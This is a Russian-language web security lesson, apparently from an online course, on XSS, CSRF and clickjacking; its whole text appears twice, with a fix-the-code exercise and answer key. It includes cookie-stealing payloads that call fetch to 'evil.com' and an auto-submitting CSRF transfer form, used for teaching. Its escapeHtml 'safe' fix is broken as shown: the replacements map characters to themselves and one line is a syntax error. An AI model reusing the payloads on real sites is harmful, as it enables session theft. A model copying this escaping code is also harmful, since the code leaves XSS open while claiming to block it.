XSS (Cross-Site Scripting) — внедрение вредоносного JS через пользовательский ввод; защита: экранирование вывода, CSP, textContent вместо innerHTML. CSRF (Cross-Site Request Forgery) — выполнение запросов от имени авторизованного пользователя; защита: CSRF-токены, SameSite cookie. Clickjacking — скрытый iframe для перехвата кликов; защита: X-Frame-Options, CSP frame-ancestors.
**Как работает:** злоумышленник встраивает JS-код в страницу через ввод, который сайт отображает без экранирования.
// УЯЗВИМЫЙ КОД — Reflected XSS
// URL: /search?q=<script>fetch('evil.com?c='+document.cookie)</script>
function renderSearchResults(query) {
document.getElementById('results').innerHTML =
'Результаты для: ' + query // ОПАСНО! query может быть <script>
}
// УЯЗВИМЫЙ КОД — DOM-based XSS
const name = new URLSearchParams(location.search).get('name')
document.getElementById('greeting').innerHTML = 'Привет, ' + name
// URL: /page?name=<img src=x onerror=alert(1)>
// БЕЗОПАСНЫЙ КОД — textContent не выполняет HTML
document.getElementById('greeting').textContent = 'Привет, ' + name
// <img src=x onerror=alert(1)> отобразится как текст, не выполнится
// Если HTML всё же нужен — экранируй специальные символы
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
}
document.getElementById('results').innerHTML =
'Результаты для: ' + escapeHtml(query) // безопасноТипы XSS:
Content Security Policy (CSP):
// HTTP заголовок: запрещает inline-скрипты и загрузку скриптов с других доменов
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'
// 'self' — только с того же домена
// 'nonce-abc123' — inline-скрипты только с этим nonce атрибутом**Как работает:** пользователь авторизован на bank.com. Заходит на evil.com, который автоматически отправляет запрос к bank.com с куками пользователя.
<!-- evil.com — скрытая форма, отправляет деньги от имени жертвы -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<!-- GET-запрос выполняется автоматически при загрузке страницы -->
<!-- Или POST форма с автосабмитом: -->
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit()</script>Защита — CSRF-токен:
// Сервер генерирует уникальный токен и сохраняет в сессии
// Клиент отправляет токен с каждым запросом
// При рендеринге формы:
// <input type="hidden" name="csrf_token" value="abc123xyz">
// Валидация на сервере:
function validateCSRF(req) {
const tokenFromBody = req.body.csrf_token
const tokenFromSession = req.session.csrf_token
if (!tokenFromBody || tokenFromBody !== tokenFromSession) {
throw new Error('CSRF validation failed')
}
}
// Для API (AJAX): токен в заголовке
// fetch('/api/transfer', {
// headers: { 'X-CSRF-Token': getCsrfToken() },
// method: 'POST',
// body: JSON.stringify({ to: 'recipient', amount: 100 })
// })Защита — SameSite Cookie:
// Куки с SameSite=Strict не отправляются при cross-site запросах
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
// SameSite=Lax — не отправляется в POST из другого домена (умеренная защита)
// SameSite=None — отправляется всегда (нужно Secure)**Как работает:** страница злоумышленника накладывает прозрачный iframe с целевым сайтом, пользователь кликает «думая, что кликает» на элемент мошеннической страницы.
/* evil.com overlay — прозрачный iframe поверх кнопки "Выиграй приз!" */
iframe {
opacity: 0;
position: absolute;
top: 100px;
left: 200px; /* выровнен так, что кнопка "Удалить аккаунт" под кнопкой "Выиграй" */
}Защита:
// HTTP заголовок — запрещает встраивать страницу в iframe
X-Frame-Options: DENY // нельзя встраивать нигде
X-Frame-Options: SAMEORIGIN // только с того же домена
// Современный способ через CSP:
Content-Security-Policy: frame-ancestors 'none'
Content-Security-Policy: frame-ancestors 'self' https://trusted.comSet-Cookie: session=abc123;
HttpOnly; // недоступен через document.cookie (защита от XSS)
Secure; // только по HTTPS
SameSite=Strict; // защита от CSRF
Path=/;
Max-Age=3600 // 1 час// Сервер проверяет, что запрос пришёл с ожидаемого домена
function checkOrigin(req) {
const origin = req.headers['origin']
const allowedOrigins = ['https://myapp.com', 'https://www.myapp.com']
if (!allowedOrigins.includes(origin)) {
throw new Error('Forbidden: unexpected origin')
}
}Структурируй ответ по трём угрозам: XSS → CSRF → Clickjacking. Для каждой: «как атакующий использует», «что уязвимо в коде», «как защититься». Для XSS обязательно скажи про textContent vs innerHTML и про CSP. Для CSRF — про CSRF-токены и SameSite. Для Clickjacking — про X-Frame-Options. Упомяни атрибуты HttpOnly и Secure для кук — они сквозные для XSS и CSRF.
Демонстрация XSS уязвимости и безопасной версии, CSRF-токен валидация, анализ атрибутов кук
// ===== XSS: УЯЗВИМОСТЬ И ЗАЩИТА =====
console.log('=== XSS: уязвимость и защита ===')
// Функция экранирования HTML
function escapeHtml(unsafe) {
return String(unsafe)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
}
// Симулируем пользовательский ввод с XSS-попыткой
const maliciousInput = '<script>alert("XSS!")</script>'
const maliciousImg = '<img src=x onerror="fetch('evil.com?c='+document.cookie)">'
const maliciousA = '<a href="javascript:alert(1)">Click me</a>'
console.log('ОПАСНЫЙ вывод (innerHTML):')
console.log(' Было бы выполнено:', maliciousInput)
console.log(' Было бы выполнено:', maliciousImg)
console.log('\nБЕЗОПАСНЫЙ вывод (после escapeHtml):')
console.log(' Отобразится как текст:', escapeHtml(maliciousInput))
console.log(' Отобразится как текст:', escapeHtml(maliciousImg))
console.log(' Отобразится как текст:', escapeHtml(maliciousA))
// Безопасное создание HTML элементов
function createSafeElement(tag, text, className) {
// В браузерной среде использовали бы:
// const el = document.createElement(tag)
// el.textContent = text // НЕ innerHTML!
// el.className = className
// return el
// Для демонстрации возвращаем строку
return `<${tag} class="${escapeHtml(className)}">${escapeHtml(text)}</${tag}>`
}
const userInput = '<script>stealData()</script>'
console.log('\nБезопасный элемент:', createSafeElement('p', userInput, 'user-content'))
// ===== CSRF: ТОКЕН И ВАЛИДАЦИЯ =====
console.log('\n=== CSRF: генерация и валидация токена ===')
// Генерация CSRF-токена (на сервере)
function generateCSRFToken() {
// В реальности: crypto.randomBytes(32).toString('hex')
// Эмуляция для Node.js среды
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
let token = ''
for (let i = 0; i < 32; i++) {
token += chars[Math.floor(Math.random() * chars.length)]
}
return token
}
// Эмуляция серверной сессии
const serverSession = {
userId: 'user123',
csrfToken: generateCSRFToken()
}
console.log('CSRF токен из сессии:', serverSession.csrfToken)
// Валидация CSRF на сервере
function validateCSRFToken(requestToken, sessionToken) {
if (!requestToken || !sessionToken) {
return { valid: false, error: 'Токен отсутствует' }
}
// Timing-safe comparison (в реальности: crypto.timingSafeEqual)
if (requestToken !== sessionToken) {
return { valid: false, error: 'Токен не совпадает' }
}
return { valid: true }
}
// Легитимный запрос (с правильным токеном)
const legitimateRequest = {
headers: { 'X-CSRF-Token': serverSession.csrfToken },
body: { amount: 100, to: 'recipient' }
}
// CSRF атака (без токена или с неправильным)
const csrfAttack = {
headers: {}, // токен не добавлен
body: { amount: 1000, to: 'attacker' }
}
console.log('Легитимный запрос:',
validateCSRFToken(legitimateRequest.headers['X-CSRF-Token'], serverSession.csrfToken))
console.log('CSRF атака:',
validateCSRFToken(csrfAttack.headers['X-CSRF-Token'], serverSession.csrfToken))
console.log('Неверный токен:',
validateCSRFToken('wrong-token-here', serverSession.csrfToken))
// ===== АНАЛИЗ COOKIE АТРИБУТОВ =====
console.log('\n=== Атрибуты Cookie: безопасный vs небезопасный ===')
function analyzeCookieSecurity(cookieHeader) {
const flags = {
HttpOnly: cookieHeader.includes('HttpOnly'),
Secure: cookieHeader.includes('Secure'),
SameSite: cookieHeader.match(/SameSite=(\w+)/)?.[1] || 'не установлен',
}
const issues = []
if (!flags.HttpOnly) issues.push('Без HttpOnly: JS может читать куку (XSS риск)')
if (!flags.Secure) issues.push('Без Secure: передаётся по HTTP (man-in-the-middle)')
if (flags.SameSite === 'None') issues.push('SameSite=None: уязвимо к CSRF')
if (flags.SameSite === 'не установлен') issues.push('SameSite не установлен: CSRF риск')
return { flags, issues, secure: issues.length === 0 }
}
const insecureCookie = 'session=abc123; Path=/'
const secureCookie = 'session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/'
const partialCookie = 'session=abc123; HttpOnly; Path=/'
console.log('Небезопасная кука:')
console.log(analyzeCookieSecurity(insecureCookie))
console.log('\nБезопасная кука:')
console.log(analyzeCookieSecurity(secureCookie))
console.log('\nЧастично защищённая:')
console.log(analyzeCookieSecurity(partialCookie))
// ===== ПРОВЕРКА CSP ЗАГОЛОВКА =====
console.log('\n=== Content Security Policy ===')
const cspExamples = {
strict: "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:",
moderate: "default-src 'self'; script-src 'self' 'unsafe-inline'; img-src *",
weak: "default-src *; script-src 'unsafe-inline' 'unsafe-eval'",
}
function evaluateCSP(csp) {
const issues = []
if (csp.includes('unsafe-inline')) issues.push("'unsafe-inline': inline-скрипты разрешены (XSS риск)")
if (csp.includes('unsafe-eval')) issues.push("'unsafe-eval': eval() разрешён (XSS риск)")
if (csp.includes("default-src *")) issues.push("default-src *: любые источники (слабая защита)")
return { issues, level: issues.length === 0 ? 'Строгий' : issues.length === 1 ? 'Умеренный' : 'Слабый' }
}
for (const [name, csp] of Object.entries(cspExamples)) {
console.log(`\nCSP "${name}":`, evaluateCSP(csp))
}XSS (Cross-Site Scripting) — внедрение вредоносного JS через пользовательский ввод; защита: экранирование вывода, CSP, textContent вместо innerHTML. CSRF (Cross-Site Request Forgery) — выполнение запросов от имени авторизованного пользователя; защита: CSRF-токены, SameSite cookie. Clickjacking — скрытый iframe для перехвата кликов; защита: X-Frame-Options, CSP frame-ancestors.
**Как работает:** злоумышленник встраивает JS-код в страницу через ввод, который сайт отображает без экранирования.
// УЯЗВИМЫЙ КОД — Reflected XSS
// URL: /search?q=<script>fetch('evil.com?c='+document.cookie)</script>
function renderSearchResults(query) {
document.getElementById('results').innerHTML =
'Результаты для: ' + query // ОПАСНО! query может быть <script>
}
// УЯЗВИМЫЙ КОД — DOM-based XSS
const name = new URLSearchParams(location.search).get('name')
document.getElementById('greeting').innerHTML = 'Привет, ' + name
// URL: /page?name=<img src=x onerror=alert(1)>
// БЕЗОПАСНЫЙ КОД — textContent не выполняет HTML
document.getElementById('greeting').textContent = 'Привет, ' + name
// <img src=x onerror=alert(1)> отобразится как текст, не выполнится
// Если HTML всё же нужен — экранируй специальные символы
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
}
document.getElementById('results').innerHTML =
'Результаты для: ' + escapeHtml(query) // безопасноТипы XSS:
Content Security Policy (CSP):
// HTTP заголовок: запрещает inline-скрипты и загрузку скриптов с других доменов
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'
// 'self' — только с того же домена
// 'nonce-abc123' — inline-скрипты только с этим nonce атрибутом**Как работает:** пользователь авторизован на bank.com. Заходит на evil.com, который автоматически отправляет запрос к bank.com с куками пользователя.
<!-- evil.com — скрытая форма, отправляет деньги от имени жертвы -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">
<!-- GET-запрос выполняется автоматически при загрузке страницы -->
<!-- Или POST форма с автосабмитом: -->
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit()</script>Защита — CSRF-токен:
// Сервер генерирует уникальный токен и сохраняет в сессии
// Клиент отправляет токен с каждым запросом
// При рендеринге формы:
// <input type="hidden" name="csrf_token" value="abc123xyz">
// Валидация на сервере:
function validateCSRF(req) {
const tokenFromBody = req.body.csrf_token
const tokenFromSession = req.session.csrf_token
if (!tokenFromBody || tokenFromBody !== tokenFromSession) {
throw new Error('CSRF validation failed')
}
}
// Для API (AJAX): токен в заголовке
// fetch('/api/transfer', {
// headers: { 'X-CSRF-Token': getCsrfToken() },
// method: 'POST',
// body: JSON.stringify({ to: 'recipient', amount: 100 })
// })Защита — SameSite Cookie:
// Куки с SameSite=Strict не отправляются при cross-site запросах
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
// SameSite=Lax — не отправляется в POST из другого домена (умеренная защита)
// SameSite=None — отправляется всегда (нужно Secure)**Как работает:** страница злоумышленника накладывает прозрачный iframe с целевым сайтом, пользователь кликает «думая, что кликает» на элемент мошеннической страницы.
/* evil.com overlay — прозрачный iframe поверх кнопки "Выиграй приз!" */
iframe {
opacity: 0;
position: absolute;
top: 100px;
left: 200px; /* выровнен так, что кнопка "Удалить аккаунт" под кнопкой "Выиграй" */
}Защита:
// HTTP заголовок — запрещает встраивать страницу в iframe
X-Frame-Options: DENY // нельзя встраивать нигде
X-Frame-Options: SAMEORIGIN // только с того же домена
// Современный способ через CSP:
Content-Security-Policy: frame-ancestors 'none'
Content-Security-Policy: frame-ancestors 'self' https://trusted.comSet-Cookie: session=abc123;
HttpOnly; // недоступен через document.cookie (защита от XSS)
Secure; // только по HTTPS
SameSite=Strict; // защита от CSRF
Path=/;
Max-Age=3600 // 1 час// Сервер проверяет, что запрос пришёл с ожидаемого домена
function checkOrigin(req) {
const origin = req.headers['origin']
const allowedOrigins = ['https://myapp.com', 'https://www.myapp.com']
if (!allowedOrigins.includes(origin)) {
throw new Error('Forbidden: unexpected origin')
}
}Структурируй ответ по трём угрозам: XSS → CSRF → Clickjacking. Для каждой: «как атакующий использует», «что уязвимо в коде», «как защититься». Для XSS обязательно скажи про textContent vs innerHTML и про CSP. Для CSRF — про CSRF-токены и SameSite. Для Clickjacking — про X-Frame-Options. Упомяни атрибуты HttpOnly и Secure для кук — они сквозные для XSS и CSRF.
Демонстрация XSS уязвимости и безопасной версии, CSRF-токен валидация, анализ атрибутов кук
// ===== XSS: УЯЗВИМОСТЬ И ЗАЩИТА =====
console.log('=== XSS: уязвимость и защита ===')
// Функция экранирования HTML
function escapeHtml(unsafe) {
return String(unsafe)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
}
// Симулируем пользовательский ввод с XSS-попыткой
const maliciousInput = '<script>alert("XSS!")</script>'
const maliciousImg = '<img src=x onerror="fetch('evil.com?c='+document.cookie)">'
const maliciousA = '<a href="javascript:alert(1)">Click me</a>'
console.log('ОПАСНЫЙ вывод (innerHTML):')
console.log(' Было бы выполнено:', maliciousInput)
console.log(' Было бы выполнено:', maliciousImg)
console.log('\nБЕЗОПАСНЫЙ вывод (после escapeHtml):')
console.log(' Отобразится как текст:', escapeHtml(maliciousInput))
console.log(' Отобразится как текст:', escapeHtml(maliciousImg))
console.log(' Отобразится как текст:', escapeHtml(maliciousA))
// Безопасное создание HTML элементов
function createSafeElement(tag, text, className) {
// В браузерной среде использовали бы:
// const el = document.createElement(tag)
// el.textContent = text // НЕ innerHTML!
// el.className = className
// return el
// Для демонстрации возвращаем строку
return `<${tag} class="${escapeHtml(className)}">${escapeHtml(text)}</${tag}>`
}
const userInput = '<script>stealData()</script>'
console.log('\nБезопасный элемент:', createSafeElement('p', userInput, 'user-content'))
// ===== CSRF: ТОКЕН И ВАЛИДАЦИЯ =====
console.log('\n=== CSRF: генерация и валидация токена ===')
// Генерация CSRF-токена (на сервере)
function generateCSRFToken() {
// В реальности: crypto.randomBytes(32).toString('hex')
// Эмуляция для Node.js среды
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
let token = ''
for (let i = 0; i < 32; i++) {
token += chars[Math.floor(Math.random() * chars.length)]
}
return token
}
// Эмуляция серверной сессии
const serverSession = {
userId: 'user123',
csrfToken: generateCSRFToken()
}
console.log('CSRF токен из сессии:', serverSession.csrfToken)
// Валидация CSRF на сервере
function validateCSRFToken(requestToken, sessionToken) {
if (!requestToken || !sessionToken) {
return { valid: false, error: 'Токен отсутствует' }
}
// Timing-safe comparison (в реальности: crypto.timingSafeEqual)
if (requestToken !== sessionToken) {
return { valid: false, error: 'Токен не совпадает' }
}
return { valid: true }
}
// Легитимный запрос (с правильным токеном)
const legitimateRequest = {
headers: { 'X-CSRF-Token': serverSession.csrfToken },
body: { amount: 100, to: 'recipient' }
}
// CSRF атака (без токена или с неправильным)
const csrfAttack = {
headers: {}, // токен не добавлен
body: { amount: 1000, to: 'attacker' }
}
console.log('Легитимный запрос:',
validateCSRFToken(legitimateRequest.headers['X-CSRF-Token'], serverSession.csrfToken))
console.log('CSRF атака:',
validateCSRFToken(csrfAttack.headers['X-CSRF-Token'], serverSession.csrfToken))
console.log('Неверный токен:',
validateCSRFToken('wrong-token-here', serverSession.csrfToken))
// ===== АНАЛИЗ COOKIE АТРИБУТОВ =====
console.log('\n=== Атрибуты Cookie: безопасный vs небезопасный ===')
function analyzeCookieSecurity(cookieHeader) {
const flags = {
HttpOnly: cookieHeader.includes('HttpOnly'),
Secure: cookieHeader.includes('Secure'),
SameSite: cookieHeader.match(/SameSite=(\w+)/)?.[1] || 'не установлен',
}
const issues = []
if (!flags.HttpOnly) issues.push('Без HttpOnly: JS может читать куку (XSS риск)')
if (!flags.Secure) issues.push('Без Secure: передаётся по HTTP (man-in-the-middle)')
if (flags.SameSite === 'None') issues.push('SameSite=None: уязвимо к CSRF')
if (flags.SameSite === 'не установлен') issues.push('SameSite не установлен: CSRF риск')
return { flags, issues, secure: issues.length === 0 }
}
const insecureCookie = 'session=abc123; Path=/'
const secureCookie = 'session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/'
const partialCookie = 'session=abc123; HttpOnly; Path=/'
console.log('Небезопасная кука:')
console.log(analyzeCookieSecurity(insecureCookie))
console.log('\nБезопасная кука:')
console.log(analyzeCookieSecurity(secureCookie))
console.log('\nЧастично защищённая:')
console.log(analyzeCookieSecurity(partialCookie))
// ===== ПРОВЕРКА CSP ЗАГОЛОВКА =====
console.log('\n=== Content Security Policy ===')
const cspExamples = {
strict: "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:",
moderate: "default-src 'self'; script-src 'self' 'unsafe-inline'; img-src *",
weak: "default-src *; script-src 'unsafe-inline' 'unsafe-eval'",
}
function evaluateCSP(csp) {
const issues = []
if (csp.includes('unsafe-inline')) issues.push("'unsafe-inline': inline-скрипты разрешены (XSS риск)")
if (csp.includes('unsafe-eval')) issues.push("'unsafe-eval': eval() разрешён (XSS риск)")
if (csp.includes("default-src *")) issues.push("default-src *: любые источники (слабая защита)")
return { issues, level: issues.length === 0 ? 'Строгий' : issues.length === 1 ? 'Умеренный' : 'Слабый' }
}
for (const [name, csp] of Object.entries(cspExamples)) {
console.log(`\nCSP "${name}":`, evaluateCSP(csp))
}Найди и исправь уязвимости в коде: 1) функция renderComment использует innerHTML с пользовательскими данными (XSS), 2) функция processTransfer не проверяет CSRF-токен, 3) функция setCookie не добавляет защитные атрибуты. Для каждой функции напиши безопасную версию.
escapeHtml: замени & → &, < → <, > → >, " → ", ' → '. processTransfer: проверь request.headers["x-csrf-token"] === sessionToken, иначе вернуть { success: false, error: "CSRF validation failed" }. setCookie: добавь "; HttpOnly; Secure; SameSite=Strict" в строку.
Токены для AI-помощника закончились
Купи токены чтобы задавать вопросы AI прямо в уроке